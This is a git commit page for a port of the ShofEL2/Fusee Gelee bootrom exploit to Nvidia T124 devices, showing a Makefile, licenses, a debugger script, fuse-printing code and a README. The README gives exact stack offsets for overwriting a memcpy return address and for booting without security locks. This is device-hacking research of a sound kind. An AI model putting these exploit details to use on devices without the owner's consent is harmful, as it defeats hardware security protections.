Intial commit, Uploading payload to Nvidia shield using python works

This commit is contained in:
Eljakim Herrewijnen 2021-11-21 22:06:46 +01:00
commit cad7c3fe99
29 changed files with 1905 additions and 0 deletions

9
ShofEL2-for-T124/.gitignore vendored Normal file
View File

@ -0,0 +1,9 @@
*.bin
*.elf
build/
!*.keep
*.d
*.idb
.*.swp
*.o
shofel2_t124

27
ShofEL2-for-T124/LICENSE Normal file
View File

@ -0,0 +1,27 @@
// Copyright (c) 2020 lordrafa. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither my name nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,27 @@
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,27 @@
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of fail0verflow nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

77
ShofEL2-for-T124/Makefile Normal file
View File

@ -0,0 +1,77 @@
CFLAGS := -Wall -Werror -I include -MMD
CFLAGS := -Wall -Werror -I include -MMD -Wno-unused-variable
BIN_FILES = reset_example.bin jtag_example.bin intermezzo.bin boot_bct.bin payload.bin
all: shofel2_t124 $(BIN_FILES)
# --------- x86 ----------
CC_x86 = gcc
CFLAGS_x86 := $(CFLAGS)
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
C_FILES_x86:= $(wildcard exploit/*.c)
OBJ_FILES_x86 := $(addprefix build/obj_x86/,$(notdir $(C_FILES_x86:.c=.o)))
-include $(OBJ_FILES_x86:.o=.d)
build/obj_x86/%.o: exploit/%.c
$(CC_x86) $(CFLAGS_x86) -c -o $@ $<
shofel2_t124: $(OBJ_FILES_x86)
$(CC_x86) $(CFLAGS_x86) -o $@ $^
# ------------------------
# ----- ARMv4t Thumb -----
TOOLCHAIN_ARM := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
CC_ARM = $(TOOLCHAIN_ARM)gcc
AS_ARM = $(TOOLCHAIN_ARM)as
OBJCOPY_ARM = $(TOOLCHAIN_ARM)objcopy
CFLAGS_ARM := $(CFLAGS) -march=armv4t -mthumb -Os -ffreestanding \
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
-Wl,--no-dynamic-linker,--build-id=none,-T,payloads/payload.ld
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
C_FILES_ARM := $(wildcard payloads/*.c)
OBJ_FILES_ARM := $(addprefix build/obj_arm/,$(notdir $(C_FILES_ARM:.c=.o)))
-include $(OBJ_FILES_ARM:.o=.d)
build/obj_arm/%.o: payloads/%.c
$(CC_ARM) $(CFLAGS_ARM) -c -o $@ $<
build/reset_example.elf: build/obj_arm/reset_example.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/jtag_example.elf: build/obj_arm/jtag_example.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/boot_bct.elf: build/obj_arm/boot_bct.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/mem_dumper_usb_server.elf: build/obj_arm/mem_dumper_usb_server.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/payload.elf: build/obj_arm/payload.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/intermezzo.elf: build/obj_arm/intermezzo.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
%.bin: build/%.elf
$(OBJCOPY_ARM) -O binary $< $@
# ------------------------
clean:
rm -f $(OBJ_FILES_ARM) $(OBJ_FILES_x86)
rm -f shofel2_t124 build/*.elf $(BIN_FILES)
cleanall: clean
rm -f build/obj_arm/*.d build/obj_x86/*.d

View File

@ -0,0 +1,63 @@
# ShofEL2 for T124
This is a Fusee Gelee / ShofEL2 exploit port for the Nvidia T124 (a.k.a Jetson TK1, Shield K1, etc).
Currently this code allows you to download and execute a payload to the T124, dump the fuses and memory and boot bct without apply the locks.
Mostly of my code is based on the original ShofEL2 code and Katherine Temkin research, so I cannot take that much credit for this.
See the original fail0verflow blog post: https://fail0verflow.com/blog/2018/shofel2/
See additional info at the original Katherine Temkin github: https://github.com/Qyriad/fusee-launcher/blob/master/report/fusee_gelee.md
## Obligatory disclaimer
This code is provided without any warranty, use under your own resposability.
## Usage
You need an arm-*-eabi toolkit. You can use [Crosstool-ng](https://crosstool-ng.github.io/download/) compile it.
Build the loader and payloads:
$ cd ShofEL2-for-T124
$ make
Usage
$ ./shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD ) [options]
$ MEM_DUMP address length out_file -> Dumps "length" bytes starting from "address" to "out_file".
$ READ_FUSES out_file -> Dumps the T124 fuses to "out_file" and show them in console.
$ BOOT_BCT -> Boots BCT without applying locks.
$ PAYLOAD payload.bin [arm|thumb] -> Boots "payload.bin" the entrymode mode can be specified (thumb by default)
## Interesting facts (maybe some of them wrong)
* RCM loads the payload to IRAM at 0x4000E000 (described on tegrarcm source code).
* RCM cmd format is sligitly different. RCM cmd header length is 0x284 bytes but the firtst 4 bytes still containing the RCM cmd length.
* RCM cmd length restrictions are different to X1 bootrom:
* Bulk transfers need to be multiply of 0x1000 to ensure use the whole usb buffer.
* RCM cmd length minus 0x284 (header length) must be a multiple of 0x10 (which means RCM CMD length needs to end in 4).
* RCM cmd min length is 0x404 bytes. Due to the previous condition the minimun length would be 0x1004.
* RCM cmd length cannot exceed avaiable IRAM for the payload (from 0x4000E000 till 0x4003FFFF).
* With all this in mind max RCM cmd length is 0x32274 bytes.
* Since the exploit uses usb buffer 2, only 0x31000 bytes can be used for the payload in order to avoid finishing the RCM cmd.
* A payload can still be loaded using the same path as the one used by the original shofEL2, since no validation is carried out till the whole payload is received.
* Even if the specs says that the JTAG is enabled by default, cold bootrom code disasbles it while is runnig (not as dumb as expected :D).
* RCM runs on an ARM7TDMI core, I manage to halt the CPU on uboot using a Segger J-LINK.
* When the poisoned get status is executed, 0x30C bytes will be copied before the payload. These bytes are part of the execution stack, starting with the USB status var.
* Using the original sanity_check function from shofel2, I got from the execution stack that the RCM USB buffers are located at 0x40004000 and 0x40008000.
* Two USB buffers of 0x1000 bytes still present. They still alternating on each USB txn. And odd number of USB txn will let you on the hight buffer for the next txn.
* Using the original sanity_check function from shofel2, I got from the execution stack that the memcpy return address is located at 0x4000DCD8 (0x4000DCF4 - 0xC - 2 * 4 - 2 * 4).
* The position in the RCM cmd where the entry adress need to be write to smash the memcpy return address is calculated as follow:
* n_bytes_to_copy = 0x4000DCD8 - 0x40008000 (memcpy_ret_add_loc - usb_buf2_add) -> n_bytes_to_copy = 0x5CD8 bytes
* pos_in_payload = n_bytes_to_copy - 0x30C (copied from the execution stack) - 0x4 -> pos_in_payload = 0x59C8
* pos_in_rcm_cmd = pos_in_payload + 0x284 (header length) -> pos_in_rcm_cmd = 0x5C4C
* I found the following functions on the the bootrom:
| Function | IROM Address | Description |
| ------------- | ------------- | ------------- |
| void ep1_in_write_imm(void *buffer, u32 size, u32 *num_xfer) | 0x001065C0 | Writes EP1_IN |
| void ep1_out_read_imm(void *buffer, u32 size, u32 *num_xfer) | 0x00106612 | Reads EP1_OUT |
| void do_bct_boot() | 0x00100624 | Boots BCT without applying locks. |

BIN
ShofEL2-for-T124/a.out Executable file

Binary file not shown.

View File

@ -0,0 +1,23 @@
# J-LINK GDB SERVER initialization
#
# This connects to a GDB Server listening
# for commands on localhost at tcp port 2331
target remote localhost:2331
# Set JTAG speed to 30 kHz
monitor speed 4
# Set GDBServer to little endian
monitor endian little
# Reset the chip to get to a known state.
monitor reset
#
# CPU core initialization (to be done by user)
#
# Set the processor mode (Enables THUMB)
monitor reg cpsr = 0xf3
# Set auto JTAG speed
monitor speed auto
# Setup GDB FOR FASTER DOWNLOADS
set remote memory-write-packet-size 1024
set remote memory-write-packet-size fixed
# Load the program executable called "reset_example.elf"
load reset_example.elf

View File

@ -0,0 +1,138 @@
// Copy paste from https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
#include "fuse.h"
void print_fuses( fuse_chip_registers_t *fuse_chip_registers ) {
// don't worry, i didn't type these in by hand.
printf( "FUSE_PRODUCTION_MODE: %08x\n", fuse_chip_registers->FUSE_PRODUCTION_MODE );
printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID );
printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK );
printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN );
printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO );
printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB );
printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB );
printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C );
printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 );
printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 );
printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV );
printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB );
printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB );
printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB );
printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB );
printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB );
printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB );
printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 );
printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA );
printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION );
printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB );
printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB );
printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB );
printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB );
printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE );
printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] );
printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] );
printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB );
printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB );
printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C );
printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV );
printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG );
printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB );
printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE );
printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE );
printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] );
printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY );
printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS );
printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO );
printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW );
printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE );
printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] );
printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] );
printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS );
printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC );
printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB );
printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG );
printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL );
printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO );
printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE );
printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE );
printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 );
printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 );
printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID );
printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE );
printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE );
printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN );
printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED );
printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB );
printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB );
printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB );
printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L );
printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H );
printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U );
printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V );
printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W );
printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 );
printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION );
printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 );
printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 );
printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB );
printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB );
printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB );
printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB );
printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN );
printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE );
printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C );
printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 );
printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 );
printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 );
printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE );
printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB );
printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN );
printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS );
printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN );
printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 );
printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X );
printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE );
printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C );
printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP );
printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE );
printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE );
printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE );
printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE );
printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS );
printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC );
printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS );
printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG );
printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 );
printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE );
printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC );
printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 );
printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 );
printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 );
printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC );
printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 );
printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 );
printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 );
printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC );
printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 );
printf( "RESERVED_0x1F4: %08x\n", fuse_chip_registers->RESERVED_0x1F4 );
printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 );
printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG );
printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] );
printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] );
printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] );
printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] );
printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] );
printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] );
printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] );
printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] );
printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] );
printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] );
printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] );
printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] );
printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] );
printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] );
